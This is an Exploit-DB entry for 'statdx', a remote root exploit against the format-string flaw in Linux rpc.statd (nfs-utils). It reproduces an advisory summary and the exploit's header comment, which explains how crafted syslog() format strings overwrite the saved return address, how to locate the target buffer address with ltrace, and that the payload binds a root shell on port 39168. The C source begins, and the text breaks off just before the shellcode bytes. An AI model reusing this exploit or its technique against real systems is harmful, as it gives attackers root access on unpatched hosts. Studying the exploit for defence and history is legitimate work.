Exploit-DB #20077
Description: Conectiva 4.x/5.x / Debian 2.x / RedHat 6.x / S.u.S.E 6.x/7.0 / Trustix 1.x - rpc.statd Remote Format String (3)
Type: remote
Platform: linux
Date: 2000-08-03
Author: ron1n

Exploit:
// source: https://www.securityfocus.com/bid/1480/info
  
A vulnerability exists in the 'rpc.statd' program, which is part of the 'nfs-utils' package that is shipped with a number of popular Linux distributions. Because of a format-string vulnerability when calling the 'syslog()' function, a remote attacker can execute code as root.
  
The 'rpc.statd' server is an RPC server that implements the Network Status and Monitor RPC protocol. It's a component of the Network File System (NFS) architecture.
  
The logging code in 'rpc.statd' uses the 'syslog()' function, passing it as the format string user-supplied data. A malicious user can construct a format string that injects executable code into the process address space and overwrites a function's return address, thus forcing the program to execute the code.
The 'rpc.statd' server requires root privileges for opening its network socket, but fails to drop these privileges later on. Therefore, code run by the malicious user will execute with root privileges.
  
Debian, Red Hat, and Connectiva have all released advisories. Presumably, any Linux distribution that runs the statd process is vulnerable unless patched for the problem.


/**
*** statdx
*** Redhat Linux 6.0/6.1/6.2 rpc.statd remote root exploit (IA32)
*** by ron1n <shellcode@hotmail.com>
***
*** August 3, 2000
*** Sydney, Australia
***
*** Oh you prob'ly won't remember me
*** It's prob'ly ancient history
*** I'm one of the chosen few
*** Who went ahead and fell for you
***
*** $ gcc -o statdx statdx.c ; ./statdx -h
***
*** Thanks to smiler for the format string vulnerability clarification. 
***
*** background info
*** ---------------
*** rpc.statd is an ONC RPC server that implements the Network Status
*** Monitor RPC protocol to provide reboot notification. It is used by
*** the NFS file locking service (rpc.lockd) when it performs lock
*** recovery.
***
*** Due to a format string vulnerability in a call to syslog() within
*** its logging module, rpc.statd can be exploited remotely by script
*** kids bent on breaking into your Redhat Linux box and defacing your
*** website with crackpot political musings.
***
*** This is not a traditional buffer overflow vulnerability. The data
*** are kept within the bounds of the buffer by means of a call to
*** vsnprintf(). The saved return address can be overwritten indirectly
*** without a contiguous payload. syslog() is given, for the most part,
*** a user-supplied format string with no process-supplied arguments.
*** Our format string will, if carefully constructed, cause the process
*** to cull non-arbitrary addresses from the top of the stack for
*** sequential writes using controlled values. Exploitation requires
*** an executable stack on the target host -- almost invariably the
*** case. This problem was corrected in the nfs-utils-0.1.9.1 rpm.
***
*** exploit info
*** ------------
*** You have one shot at this in most situations, so get it right!
***
*** If you know the port number rpc.statd is serving requests on, you
*** can supply the port number on the commandline to bypass the initial
*** portmapper query. This is very useful for hosts which are filtering
*** inbound connections to the portmapper. The default attack protocol
*** is UDP. There is a commandline option to use TCP. Apparently, the
*** dispatcher uses both protocols by default.
***
*** If you're only interested in exploiting a host, then you can safely
*** skip the following information. You'll only need a buffer address
*** to get started. This buffer address will either be one of my canned
*** ones or your own one. It must be precise, and this is where you're
*** likely to experience difficulties with your attacks.
***
*** [va_list][str][4][r][4][r+1][4][r+2][4][r+3]----->
*** |       |
*** %esp    buffer[1024]
***
*** [%8x..][%!x][%n][%!x][%n][%!x][%n][%!x][%n][sc]--->
***        |   r   |   r+1  |   r+2  |  r+3   |
***
*** buffer  ->  This is the address you'll need (-a and -l options)
*** str     ->  Process-supplied string; 24 bytes long
*** 4       ->  Duplicate dwords to satisfy the %!d specifiers and
***             the double %n when two successive values are equal
*** r       ->  Stack position of saved eip
*** %8x..   ->  Wipes the va_list dword and str; 9 by default (-w option)
*** %!x     ->  Used for padding to form an aggregate overwrite value;
***             the exclamation mark denotes a field width. This may
***             or may not be present, depending on the value. An
***             algorithm is used to allow tricky values.
*** %n      ->  Writes overwrite value to the corresponding address
*** sc      ->  Nops + portbinding shellcode (port 39168)
***
*** Only modify the default wipe value and the default offset value if you
*** know what you're doing.
***
*** An easy way to get the buffer address for simulation systems that you
*** have privileged access to:
***
*** [term 1]# ltrace -p `pidof rpc.statd` -o foo
*** [term 2]$ ./statdx -a 0x41414141 localhost
*** [term 1]# grep vsnprintf foo | head -1 | sed 's/.*(//' | \
***          awk -F"," '{print $1}'
***
*** (Of course, ensure that rpc.statd is started at boot time and not from
*** an interactive shell, otherwise it will inherit a larger environment
*** and blow the accuracy of your findings.)
***
*** Ok, longwinded enough. Let's dance.
***
*** greets
*** ------
*** ADM, attrition, rogues, security.is, teso
***
**/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define SM_PROG 100024
#define SM_VERS 1
#define SM_STAT 1
#define SM_MAXSTRLEN 1024

#define max(a,b) ((a)>(b)?(a):(b))

#define NOP 0x90

/*
** Non-ripped linux IA32 portbinding shellcode.
** port: 39168 ; length: 133